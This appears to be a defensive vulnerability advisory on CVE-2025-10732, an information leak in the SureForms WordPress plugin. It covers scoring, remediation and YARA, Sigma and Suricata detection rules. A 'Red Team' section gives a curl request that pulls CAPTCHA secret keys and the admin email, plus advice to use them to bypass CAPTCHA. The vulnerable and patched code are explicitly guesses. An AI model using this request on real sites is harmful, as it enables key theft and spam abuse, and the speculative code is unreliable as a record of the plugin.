CVE-2025-10732

Executive Summary

CVE-2025-10732 is a sensitive information disclosure vulnerability in the SureForms – Drag and Drop Form Builder for WordPress plugin, affecting all versions up to and including 1.12.1. The flaw resides in improper access control on the /wp-json/sureforms/v1/srfm-global-settings REST API endpoint. An authenticated attacker with contributor-level access or higher can exploit this to retrieve sensitive data, including API keys for Google reCAPTCHA, Cloudflare Turnstile, hCaptcha, admin email addresses, and security-related form settings. This exposure could lead to further attacks, such as bypassing CAPTCHA protections or phishing campaigns targeting administrators.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify plugin integrity by checking checksums and monitoring for unauthorized modifications. No known supply chain compromise has been reported, but the lack of a patch increases risk.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (exposure of API keys and emails)
• Integrity Impact: None
• Availability Impact: None
• Threat Level: Medium – The vulnerability allows information disclosure but requires authentication. However, exposed API keys can be leveraged for further attacks.

Deep Dive & Mechanics

The vulnerability stems from insufficient authorization checks on the REST API endpoint /wp-json/sureforms/v1/srfm-global-settings. In WordPress, REST API endpoints should verify user capabilities before returning sensitive data. The SureForms plugin fails to enforce proper access controls, allowing any authenticated user with edit_posts capability (contributor-level or above) to access global settings.

The endpoint returns a JSON object containing:

• recaptcha_site_key and recaptcha_secret_key (Google reCAPTCHA)
• turnstile_site_key and turnstile_secret_key (Cloudflare Turnstile)
• hcaptcha_site_key and hcaptcha_secret_key (hCaptcha)
• admin_email (administrator email address)
• Various security-related form settings (e.g., spam protection flags)

An attacker can use these keys to:

• Bypass CAPTCHA protections on the site
• Conduct phishing attacks using the admin email
• Disable security features if settings are writable (though this endpoint is read-only)

Vulnerable vs. Patched Code

Vulnerable Code (SureForms <= 1.12.1): The REST API endpoint registration likely lacks a permission callback or uses an insufficient capability check.

// Example vulnerable registration
register_rest_route('sureforms/v1', '/srfm-global-settings', array(
    'methods' => 'GET',
    'callback' => 'get_global_settings',
    'permission_callback' => '__return_true' // or missing
));

Patched Code (Hypothetical): A proper permission callback should be implemented to restrict access to administrators only.

// Patched version
register_rest_route('sureforms/v1', '/srfm-global-settings', array(
    'methods' => 'GET',
    'callback' => 'get_global_settings',
    'permission_callback' => function() {
        return current_user_can('manage_options');
    }
));

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with SureForms plugin <= 1.12.1
• Valid user account with contributor-level access or higher
• WordPress REST API enabled

Exploitation Steps:

1. Obtain a valid WordPress nonce or use application passwords for authentication.
2. Send a GET request to the vulnerable endpoint:

curl -X GET "https://target.com/wp-json/sureforms/v1/srfm-global-settings" \
  -H "Authorization: Bearer <valid_token>" \
  -H "Content-Type: application/json"

3. Parse the JSON response to extract sensitive data:

{
  "recaptcha_site_key": "6Lc...",
  "recaptcha_secret_key": "6Lc...",
  "turnstile_site_key": "0x4...",
  "turnstile_secret_key": "0x4...",
  "hcaptcha_site_key": "10000000-...",
  "hcaptcha_secret_key": "0x...",
  "admin_email": "admin@example.com",
  "spam_protection_enabled": true
}

4. Use the extracted API keys to bypass CAPTCHA on the target site or other sites using the same keys.

Blue Team

Detection:

• Monitor REST API access logs for requests to /wp-json/sureforms/v1/srfm-global-settings from non-admin users.
• Alert on unusual API key usage patterns (e.g., same key used from multiple IPs).

Hunting:

• Search for exposed API keys in public repositories (GitHub, GitLab) using the extracted keys.
• Check for unauthorized form submissions that bypass CAPTCHA.

Lab Setup:

• Install WordPress and SureForms 1.12.1 in a controlled environment.
• Create a contributor-level user and test the exploit.
• Verify that the endpoint returns sensitive data.

Indicators of Compromise (IOCs)

• Network: HTTP GET requests to /wp-json/sureforms/v1/srfm-global-settings from authenticated users with low privileges.
• Logs: WordPress REST API logs showing access to the endpoint by users with role contributor, author, or editor.
• File: Presence of API keys in unexpected locations (e.g., browser developer tools, network logs).
• Behavior: Sudden increase in form submissions bypassing CAPTCHA.

Detection Engineering

YARA Rule

rule Detect_SureForms_InfoDisclosure {
    meta:
        description = "Detects requests to SureForms sensitive settings endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10732"
    strings:
        $endpoint = "/wp-json/sureforms/v1/srfm-global-settings"
        $recaptcha = "recaptcha_secret_key"
        $turnstile = "turnstile_secret_key"
        $hcaptcha = "hcaptcha_secret_key"
    condition:
        $endpoint and any of ($recaptcha, $turnstile, $hcaptcha)
}

Sigma Rule

title: SureForms Sensitive Information Disclosure
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects access to SureForms global settings endpoint by non-admin users
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-10732
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "/wp-json/sureforms/v1/srfm-global-settings"
    condition: selection
falsepositives:
    - Legitimate admin access
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10732 SureForms Info Disclosure Attempt"; flow:to_server; content:"/wp-json/sureforms/v1/srfm-global-settings"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for operations until a patch is released.
2. Restrict API access using a Web Application Firewall (WAF) rule to block requests to /wp-json/sureforms/v1/srfm-global-settings from non-admin IPs.
3. Rotate all exposed API keys (reCAPTCHA, Turnstile, hCaptcha) immediately.
4. Change admin email addresses if exposed.

Long-term Fix:

• Apply a custom patch by modifying the plugin's REST API permission callback to require manage_options capability.
• Monitor the vendor's repository for an official patch and apply it promptly.
• Implement principle of least privilege for WordPress user roles.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
• Enable detailed logging for WordPress REST API endpoints.

Valters IT